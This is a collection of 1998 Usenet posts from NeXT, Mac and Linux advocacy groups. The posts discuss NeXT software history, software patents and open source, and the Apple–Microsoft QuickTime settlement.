> but you can't fool everybody all the time."
>
You can fool all the people some of the time,
and some of the people all the time,
but you cannot fool all the people all the time.
Abraham Lincoln
--
"I don't believe in anti-anything. A man has to have a
program; you have to be *for* something, otherwise you
will never get anywhere." -- Harry S Truman
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Message-ID: <forrestDELETE-THIS!-0911981710330001@term1-15.vta.west.net>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 09 Nov 1998 17:10:32 -0700
NNTP-Posting-Date: Mon, 09 Nov 1998 17:09:13 PDT
In article <727kku$rih@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> For the history impaired
[ . . . ]
Oh, no wonder I didn't get it. You see, I'm not actually a NeXT user.
Never was, and never - technically - will be, though I suppose OSX may
count in a round-a-bout sort of way. I'm just a Mac user who is interested
in bettering the computing world any way I can (which is mostly by
proposing that other people do it :-] ). Hence, I'm interested in NeXT and
all the cool things it has brought to Apple, which can now - hopefull -
bring them to the main stream. So, I had no idea that the "Yes, it was"
comment was a joke, I thought it was just somebody who didn't read
correctly and so was responding oddly. Rest assured, I laughed now.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions.
Apply at front desk. All prices subject to change. Universe, the Universe
logo, and all objects contained within are (TM) and (C) Everything
Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Clancy Dalebout <fleegix@shell2.aracnet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 00:03:33 GMT
Organization: Aracnet Internet
Message-ID: <727vsl$g8f$1@spitting-spider.aracnet.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <3643C311.689A8771@hex.net>
User-Agent: tin/pre-1.4-980226 (UNIX) (Linux/2.0.35 (i686))
Originator: fleegix@aracnet.com (Clancy Dalebout)
In comp.os.linux.advocacy Peter A. Koren <pkoren@hex.net> wrote:
> Don Yacktman wrote:
>> John Rudd <jrudd@cygnus.com> wrote:
>> > Douglas Lee Hendrix wrote:
>> > > I pose the question, who would Microsoft sue? Linux is simply
>> > > available for download on too many ftp sites to be able to stem the
>> > > tide.
>> >
>> > Lets explore the issue a little further..
>> >
>> > [...]
>>
>> Well, I still see one possible situation that could be a problem. I've seen
>> this happen before. The gist of the argument is this:
>>
>> (1) You know that you'd win a suit if filed
>> (2) But even so, the defense would be costly
>> (3) So you don't do it, even though you'd be able to win, because the cost is
>> too high
> snip
> Don, you forget one thing. While the Judicial system might fail to yank its head
> out from its nether
> sphincter, our foreign friends are unlikely to go along and support the
> Microsoft borg. The courts
> can only make some Americans kiss Bill Gate's vertical smile. Linux may get
> combat scars, but it
> will live and prosper.
> I urge our allies outside of the influence of our American legal circus to
> organize and to
> to oppose M$ thuggery in their own countries. Fight to get Linux recognized and
> used by all public
> organizations which use computers. I hear that France and Mexico are moving in
> that direction.
Damn Mexicans coming up here to take all our Unix admin jobs! :)
Seriously though, time for me to learn Spanish. Sounds like
all the smart people are south o' the border now.
--
Clancy Dalebout | xmsho@!spam!nein!yahoo.com
"With proper tactics, nuclear war need not be as destructive as it appears."
-- Henry Kissinger
"Tactical nukes? We don't need no stinkin' tactical nukes!" -- Larry Wall
From: Clancy Dalebout <fleegix@shell2.aracnet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 00:23:33 GMT
Organization: Aracnet Internet
Message-ID: <728125$h6g$1@spitting-spider.aracnet.com>
User-Agent: tin/pre-1.4-980226 (UNIX) (Linux/2.0.35 (i686))
Originator: fleegix@aracnet.com (Clancy Dalebout)
In comp.os.linux.advocacy Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
>> On 6 Nov 1998 06:16:54 GMT, Don Yacktman <don@misckit.com> wrote:
>> :This scenario of legal annhilation *could* put a huge dent in the Linux
>> :momentum since it could very quickly curtail commercial vendors' support for
>> :Linux. That would be a real shame. If MS tried it right now, though, it
>> :would sink their case before the DOJ, so let's get a move on before they get
>> :a chance. Crank up the momentum! :-)
>> If this were to happen, I would lobby my Congress members for
>> legislation to nullify Microsoft's patents. Unfortunately that may be
>> an unconstitutional bill of attainder.
> The problem is it wouldn't just be Microsoft's patents being
> violated. If Microsoft goes after Linux for patent violations,
> other patent violations would likely be brought to light, and
> their holders would join Microsoft in or file their own cases.
> Woe to Linux if they use a patent which is held by one of the
> outfits which exist only to license a portfolio of patents.
>> People say that the old IBM anti-trust case was dropped because it was
>> a bad case. No: the DOJ was on the verge of victory--it was dropped
>> because of the ideology of the Reagan administration. Justice is a
>> branch of the executive.
> Besides, it didn't really matter. IBM was already under court-ordered
> restrictions which weren't dropped until just a few years ago. I can't
> think of any acquisitions IBM made until 1995, after that old consent
> decree from the 50's was cut down. Afterwards, they bought Lotus and
> at least one other company. If they hadn't been under those restrictions,
> I wonder if they would have bought Microsoft and Compaq back in the
> 80's? (I mean really, why would *IBM* have deigned to license software
> from a spoiled punk like BillG, when they could have bought an OS
> outright?)
Way back then, the OS was considered to be a commodity. IBM didn't really
recognise the power MS had with its OS until the OS/2 project, and MS
was able to leverage its OS for the first time to get people to go
with Windows.
There was an interesting thread on slashdot.org proposing that
Microsoft's punishment be that they license the Win32 API under
the GPL, thus commoditizing the OS once again and making it
un-abuseable.
--
Clancy Dalebout | xmsho@!spam!nein!yahoo.com
"With proper tactics, nuclear war need not be as destructive as it appears."
-- Henry Kissinger
"Tactical nukes? We don't need no stinkin' tactical nukes!" -- Larry Wall
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
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Date: Tue, 10 Nov 1998 06:11:25 GMT
NNTP-Posting-Date: Mon, 09 Nov 1998 22:11:25 PDT
Organization: @Home Network
In <728f6m$g3@shelob.afs.com> "Greg Anderson" wrote:
> Rex Riley wrote in message ...
> >And for those who were priviledged enough to see Glenn's early demo's,
> "Yes"
> >it had every feature you could ever want. Licensing issues cropped up
with
> >Adobe. Much of the cool demo stuff got iced. My favorite was the
> scalable,
> >splined font tools. Grab a font and stretccchh...
>
> Didn't Glenn ultimately release this feature as a distinct application
> called TouchType, which he eventually sold to Adobe?
>
>
Touch type never allowed you to play with fonts - making'em fatter, wider,
taller, canted, etc... PasteUp allowed WYSIWYG font design. This is where
PasteUpDemo ran into Adobe I was told because it took free license to alter
existing font properties.
Glenn Reid what a creative genius...
-r
Message-ID: <3647DCC4.4792B75A@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com>
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Date: Mon, 09 Nov 1998 22:27:16 -0800
Not really wishing to contradict anybody's fond memories . . .
Greg Anderson wrote:
* Rex Riley wrote in message ...
* * And for those who were priviledged enough to see Glenn's
* * early demo's, "Yes" it had every feature you could ever
* * want. Licensing issues cropped up with Adobe.
Sorry, I don't recall that there were any licensing issues with
Adobe where PasteUp was concerned --- what were those issues?
* * Much of the cool demo stuff got iced. My favorite was
* * the scalable, splined font tools. Grab a font and
* * stretccchh...
* Didn't Glenn ultimately release this feature as a distinct
* application called TouchType, which he eventually sold to Adobe?
TouchType was there way before PasteUp got started. Glenn
hid in his garret for several months and created TouchType.
It was very well received, and yes, it was eventually sold
to Adobe. I don't know where TouchType is these days ---
presumably Adobe stopped supporting it, given no systems on
which to run it.
RightBrain also created a few useful mini-apps, namely,
LaunchPad, Rulers, and PortFolio, which, along with the
NextStep font business, also helped generate some
much-needed cash flow for RightBrain.
Glenn then went on to the PasteUp project. I don't
recall any of the scalable, splined font tools in PasteUp,
even though it might have been before my time. PasteUp
got under weigh in the Spring of 1991 and I worked on
PasteUp basically from around the end of 1991 through the
end of 1992. I departed from RightBrain in October 1992,
primarily for health reasons at the time. If there had been
any such tools or features in PasteUp, I didn't see any
evidence of such in the codebase. And believe me, I was all
through that codebase.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
Message-ID: <364AF67F.761058D0@ieee.org>
Date: Thu, 12 Nov 1998 07:53:51 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
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Karsten M. Self wrote:
I want to congratulate Karsten. Earlier this year (or thereabouts)
he bowled into some of these fora with the usual anti-software patent
rhetoric, which tends to be much more fear than fact, and got screamed
at a bit. Instead of getting mad (which he may have done too), he
went out and started doing research and learning the subject matter.
The result is as follows, some of the best researched stuff in these
fora on these subjects. I think though, as you can see from what he
says here, that he now sees that the subject is not black-and-white,
but has a lot of grays.
> I doubt your conclusion is based on solid and documented research. I've
> seen and heard of a number of studies, in balance inconclusive, as to
> whether or not patents are net beneficial or detrimental to society.
> The general consensus is that in some fields, notably pharmaceuticals,
> they are a virtual necessity. In others, typically software, they may
> be harmful. I'll point the reader to an essay by UC Berkeley economist
> Hal Varian (http://www.sims.berkeley.edu/~hal/Papers/japan/index.html --
> see section "Software patents") suggesting the term of SW patents *is*
> too long, but that as a practical matter it couldn't easily be reduced.
> Rather
>
> As a practical matter, it would be far easier for the PTO to set
> high novelty standards and grant narrow software patents than for
> Congress to selectively alter patent lifetimes for software
> patents. Furthermore, in many cases the patent lifetime is
> unimportant, because the pace of progress is great enough that
> the patent has lost all of its value by its expiration date.
> > > Proprietary software vendors tend to have a more substantial financial
> > > footing, and access to legal resources, than many OSS developers. While
> > > a patent suit could destroy an ISV, there is at least a fighting chance
> > > at persevering.
> >
> > The EFF was chartered years ago to remedy this exact situation.
>
> I believe the EFF's charter is rather more broad than this. They
> include discussions of patent issues on their website, but also deal
> heavily with privacy and encryption, censorship, and other issues more
> related to civil rights than corporate IP. LPF was organized rather
> specifically against patents.
I would typify their main thrust as civil liberties in cyberspace.
They really got going with the Steve Jackson Games case where
the feds seized some guys computers just because they might contain
the dreaded 911 code (which turned out to be PD anyway).
One way to get a real flavor of what they have been doing over the
last eight years or so is to read Mike Godwin's excellent book
on cyberrights. Godwin has been their on-line counsel since their
founding, and has been involved in such cases as the Steve Jackson
Games case (above) and the overturning of the CDA by the Supreme
Court. Indeed, it was apparently Mike who came up with the idea
of pointing out to the Supreme Court that the only thing that
we knew was indecent (and thus presumably banned) was their
own case on George Carlin's 7 dirty words. Thus, the only thing
that we knew would be banned by the CDA was that Supreme
Court case (since the case included the 7 dirty words).
The argument was effective enough that it was cited in the
unanimous opinion by the Court.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Thu, 12 Nov 1998 15:25:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72eukr$vvr$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <364930B0.5A8059C5@ix.netcom.com> <72cn16$4lj$1@nnrp1.dejanews.com> <364A9929.B97B3A05@ix.netcom.com>
In article <364A9929.B97B3A05@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> brlewis@my-dejanews.com wrote:
> > That timeout was set at 17 years. For software, a
> > more appropriate timeout would be about 3 weeks. But with such a short
> > timeout, why go through the patent application process at all?
>
> I doubt your conclusion is based on solid and documented research. I've
> seen and heard of a number of studies, in balance inconclusive, as to
> whether or not patents are net beneficial or detrimental to society.
> The general consensus is that in some fields, notably pharmaceuticals,
> they are a virtual necessity. In others, typically software, they may
> be harmful.
No, I just tossed out the 3-week figure without much thought. That would
assume the pace of progress in software development is about 300 times the
pace of progress of technology at the time that 17-year timeout was invented.
I think that's exaggerated; a software patent should actually last 2 months.
> I'll point the reader to an essay by UC Berkeley economist
> Hal Varian (http://www.sims.berkeley.edu/~hal/Papers/japan/index.html --
> see section "Software patents") suggesting the term of SW patents *is*
> too long, but that as a practical matter it couldn't easily be reduced.
> Rather
>
> As a practical matter, it would be far easier for the PTO to set
> high novelty standards and grant narrow software patents than for
> Congress to selectively alter patent lifetimes for software
> patents. Furthermore, in many cases the patent lifetime is
> unimportant, because the pace of progress is great enough that
> the patent has lost all of its value by its expiration date.
I'm not concerned about patents that lose their value quickly. I'm concerned
about unintentionally breaking the law because something that was obvious to
me yesterday was not obvious to the PTO 15 years ago.
I'm also concerned about the additional restrictions on freedom. If I built
a machine in 1850 to produce rifle barrels and found out I was violating a
patent, maybe I could build a different machine that could also produce rifle
barrels. Today, if I want to write software that produces GIFs, I can't do it
without violating the patent.
> > > I feel however, that the status
> > > quo puts OSS in a dangerous position. I believe the situation may be
> > > remedied, and that patents might even be an OSS developer's best
> > > friend.
> >
> > Patent is to OSS developer as nuke is to peace-loving nation. You don't
like
> > them, but you might choose to have one only because your enemy has one.
>
> I'll simply point out that your veering into irrelevant rhetoric serves
> no meaningful purpose. If you're morally opposed to patents, copyright,
> IP, or whatever, that's fine by me. I'm looking for a constructive way
> to use existing (and likely highly persistent) legal mechanisms to
> benefit OSS.
It is relevant to your "best friend" idea. Just because something is
existing, highly persistent, and might be used to one's benefit does not make
it a "best friend". There's no better illustration than nukes. They exist.
They are likely highly persistent. It might even be argued that some
peace-loving nations benefit from having them. But nukes are nobody's best
friend. Same with software patents.
> > Example please. I would like to know about a software patent suit that let
> > the users of said software continue to use it and install it on new systems.
> > If MS Windows got hit with a patent suit today, I suspect it would severely
> > affect companies using MS Windows, even though they weren't directly being
> > sued.
>
> Stac.
>
> Microsoft was sued, and lost its case, to Stac technologies for the use
> of filesystem compression technology in Windows, I believe Doublespace.
> Microsoft paid a $100 m (US) fine to Stac, and was forced to
> discontinue use of the technology in future versions of Windows,
> replacing it with another compression method. (Stac & MS had subsequent
> legal dealings as well, of which I'm largely unfamiliar -- this really
> isn't my area of expertise). AFAIK, existing users of Windows were not
> required to remove Doublespace from their system, nor were they
> personally liable for infringement of Stac's patent.
Thanks, you answered half of my question. The other half was about
installing it on new systems. My company is currently scrambling because it
can't buy licenses for older software it depends on. Companies grow, they
replace their harware, etc. Could a company that depended on Doublespace
keep buying licenses for the version of Windows that included it? For how
long?
Doublespace was probably not central to any company's business, but if it
were such businesses would have been severely affected by this outcome. And
if Stac had been more hostile to MS, it could have been much worse.
> You could argue that future users were affected by not having access to
> Stac's patents in Microsoft software, but this is hardly the same as
> being sued personally by a patent holder simply for using software.
> This could very well be the case for OSS.
I wouldn't bother talking about future users. Current users still need new
licences. Companies grow, they replace their harware, etc.
Stac could have sued users of their software; MS just happened to be the
biggest target. As for OSS increasing this risk, I doubt your conclusion is
based on solid and documented research.
> > > Proprietary software vendors tend to have a more substantial financial
> > > footing, and access to legal resources, than many OSS developers. While
> > > a patent suit could destroy an ISV, there is at least a fighting chance
> > > at persevering.
> >
> > The EFF was chartered years ago to remedy this exact situation.
>
> I believe the EFF's charter is rather more broad than this. They
> include discussions of patent issues on their website, but also deal
> heavily with privacy and encryption, censorship, and other issues more
> related to civil rights than corporate IP. LPF was organized rather
> specifically against patents.
Yes, the EFF is about more than patents, but they are generally oriented
toward protecting the little guy from big predators in the "electronic
frontier", an area poorly understood by the courts.
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From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 08:23:21 -0600
Organization: Iowa State University
Message-ID: <364AEF59.3B9@xixaxsxtxaxtxex.xexdxu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com>
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Karsten M. Self wrote:
> The idea occured to me when IBM's support of Apache was announed that
> among the things IBM could provide Apache was precisely the IP
> protection we're discussing here. Subsequent discussions with Apache &
> IBM folks indicated that an informal arrangement was in place.
> Extending this idea I started looking at what I originally called
> "Patent Patrons" -- large IP-rich companies with an interest in
> opportunities offered by OSS, who might take on protection of a
> particular project or projects. This has evolved further, Chris has
> seen its current shape, I'd be interested to hear back....
<snip>
> Even if IBM didn't support Linux, Intel or Cisco might, Yahoo would have
> an interest in FreeBSD, someone could come to the rescue of the GIMP,
> etc., etc., etc.... The ideal solution to me is to pool these interests
> into a collective which *does* provide umbrella support.
It has occurred to me that the U.S. patent process is fundamentally
incompatible with the Open Source system -- namely, it seems to me that
Open Source requires a full, public disclosure of discoveries that the
U.S. Patent system assumes will not take place without a patent
application.
Regardless, the idea you propose here is the most sensible one I've seen
to date.
Regards,
Jonathan
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:24:08 -0500
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Michael Peck wrote:
>
>
> But it *is* rather fascinating to observe the society in daily
> operation, and even, at times, to interact with it (just to test it, for
> instance, out of its own element).
I absolutely can't argue with this...:)
>
> Even so, one must be very careful not to interact so as to *change* the
> system fundamentally. I hope you don't think you're here to actually
> persuade anyone one way or the other; on the one hand it's not likely,
> and on the other it's not fair to the rest of us who just want to see it
> *work*. I will admit to being guilty of both overexposure and
> over-interaction, my apologies for that...
It's fun to test ideas and concepts. I suppose I enjoy making argument
from time to time, if to do nothing more than to persuade myself that my
own ideas were good ones to begin with. It is also gives me way to
improve and hone those ideas--to sort of bring some of them out of the
"half-baked" stage into more of a fluid maturity. The thing that often
bothers me, though, is that given the pace of development and
implementation, will any of the ideas any of us have today mean a hill
of beans in five years (maybe less)? I've already had to "forget" one
entire technology (and learn a couple of others) so far--I'm not sure
how much elasticity is left in the "old bean" if you know what I mean...
Thanks for the "warm" welcome (though I'm still working through the
connotations on that one)...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:57:33 -0500
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Chad Irby wrote:
>
> Apple got its money because Microsoft had to settle the patent
> infringement suit about QuickTime. This happened some time *after* the
> "kill the baby" threat. Apple "got the browser" after MS threatened to
> kill Office for the Mac.
>
> This is all coming back to haunt MS right now.
>
Well, did Apple *have to settle* the patent infringement suit? You seem
to be forgetting here that had Apple not wanted to settle the suit it
simply wouldn't have mattered whether MS wanted to settle or not.
Secondly, some key things about lawsuits you forget: companies don't
like them, and companies often settle even when they believe the facts
are on their side. They often figure they'll come out ahead as opposed
to lengthy, very expensive litigation's which can sometimes take years.
You seem to be saying that Apple had no say so in the matter. The facts
are contrary as it's easy to prove Apple "settled" the suit just as much
as MS "settled" it.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:43:02 -0500
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
> >The way I read you is: It's OK for Apple, Netscape, Sun--whoever--to
> >give away software to achieve market dominance (or at least with the
> >goal of dominating a market.) But it *isn't* all right for MS to compete
> >by doing the very same thing. If that is your point, I agree--I've
> >missed it.
>
> The point you missed is that once a company has achieved dominance
> in one market, it is not allowed to use the fact of dominance to
> achieve dominance in another market.
As I recall, Netscape said several times a couple of years ago that the
"browser would usurp the OS" in the market place. Clearly, Netscape has
always had dominance in the browser market. After three years of giving
away IE, Netscape still boasts more browser users than Microsoft. Would
Netscape's announced plan be an example of "using dominance in one
market to obtain dominance in another?" Or, are you saying that you must
actually achieve dominance in another market before the strictures
apply?
You told me in another post that "Apple just said no" to Microsoft when
the supposed "kill the baby" matter came up in low-level conversations.
If it's that simple to rout Microsoft's plans, why doesn't everybody do
it?
####################################################################
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:30:57 -0500
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>
> Quicktime is still around because Apple didn't budge.
>
> Somebody tried to mug you, but you fought back. You ended up
> not being robbed. Doesn't justify the mugger.
OK, a mugger comes up to me and says "Give me five dollars" and I say
"No way," and the mugger hands me $150 million dollars and a Browser
(which cost him a few million more to make just for my machine), lets me
keep the $5, and goes away.
Hey, I wish *I* could get mugged like that....:) Anyday...!
take "the baby", I
say...mug me every day like that....!
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:48:02 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > This whole thing reeks of Apple suck-up-whining crap to me. Apple got
> > the money and the browser from MS, and the baby wasn't "killed" in the
> > process...was it? Or have I missed something?
>
> You missed the part about the $1.2 billion patent infringement suit (which
> was the reason for the money from MS), and Apple got the browser because
> they had to or worry about Office for Mac being killed.
>
I'm still lost. Apple chose to drop the suit--Apple didn't have to.
Seems to me Apple *agreed* to this deal quite voluntarily. You're going
to blame Microsoft for saying: "OK, you've asked us for a large
investment and we're inclined to give it to you. However, your pending
lawsuit against us is standing in the way."....????
I guess you think MS was supposed to have said, "So sue us! Who cares!
Here's the money--take it. Who cares if your lawsuit against us will
cost us another 50 million or so in legal fees and take up years of our
time as well as yours!"
That's nuts...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 10:51:57 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > THe point still eludes me as Apple is still doing Quicktime as it wishes
> > to do it. Is this just a figment of my imagination, or has MS actually
> > "killed the baby"?
>
> Nope. But part of Microsoft's threat along the way was that they wanted
> Apple to kill QT so it wouldn't compete with Microsoft's multimedia
> technologies.
>
> Sort of makes you wonder just how much of Microsoft's tech at that point
> was really QT in disguise...
>
But apparently, MS did the following to Apple to put teeth into the
"threat":
(1) gave Apple $150 million
(2) gave Apple a working version of IE
(3) announced and recommitted to supporting Apple with its Office
products.
I'd like to be "threatened" like that every day...:)
Last, it should be noted that the above three items were things Steve
Jobs asked for, not things MS "forced" on Apple.
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 09:19:40 -0600
Organization: Iowa State University
Message-ID: <3648598C.5F2@xixaxsxtxaxtxex.xexdxu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com>
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Karsten M. Self wrote:
> Further, patent infringement applies equally to manufacture, sale, or
> use. Your example of moving devlopment offshore would help software
> developers, but would do nothing to protect the interests of US-based
> vendors or users of potentially infringing software. As is pointed out
> elsewhere, this could have a negative affect on adoption.
>
> Patent infringement is not specific to use, even less so to specific
> software packages.
But according to an IP law firm quoted in a New York Times article
(http://www.nytimes.com/techweb/TW_Microsoft_Saw_Linux_As_Copyright_Threat.html),
it IS specific to implementation. Noone owns an idea, only its
expression (i.e. source code).
<snip>
Regards,
Jonathan
Message-ID: <36481F4C.75ED9037@ieee.org>
Date: Tue, 10 Nov 1998 04:11:08 -0700
From: Bruce Hayden <bhayden@ieee.org>
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Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
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Greg Anderson wrote:
>
> >>the PC project canceled. That's when Gates went looking and found QDOS at
> >>Seattle Computer.
> >
> >That's not the way that it's been documented.
>
> I dunno. That's basically the way Robert Cringely tells the story in Revenge
> of the Nerds. He even takes a camera to the hourse where Kildall refused to
> meet with the representatives of IBM who were in town visiting Gates.
It will be interesting to see what the history books finally say
on this subject. One missing point of view is that of Gary Kildall
who had died a couple of years before the PBS special. He apparently
wrote an autobiography before he died that I believe has not been
published. It apparently belongs to his kids, who didn't want it
published yet. Any case, drunk a couple of times with his second
wife. She indicated a bit of dispute with the first wife (the one
featured in the special) over the handling of IBM, but showed an
almost fanatical dislike for Gates and the others from Microsoft.
I think that she at least privately blamed them for her ex-husband's
death through essentially over-drinking.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: brlewis@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Tue, 10 Nov 1998 15:16:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <729lc5$hnd$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com>
In article <3647E15E.7A2232BA@ix.netcom.com>,
kmself@ix.netcom.com wrote:
> With the cost of patent litigation -- $100k (US) average for pre-trial
> costs, $1m (US) to go to trial, threat of suit could be sufficient to
> sway decisions to use OSS (deemed risky) or "patent-safe" proprietary
> code.
Don't say that without explicitly stating that proprietary code has the same
potential vulnerability as OSS code. Any code can become a victim of that
abomination called "software patents".
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From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 12 Nov 1998 11:26:41 -0500
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Rob Barris wrote:
>
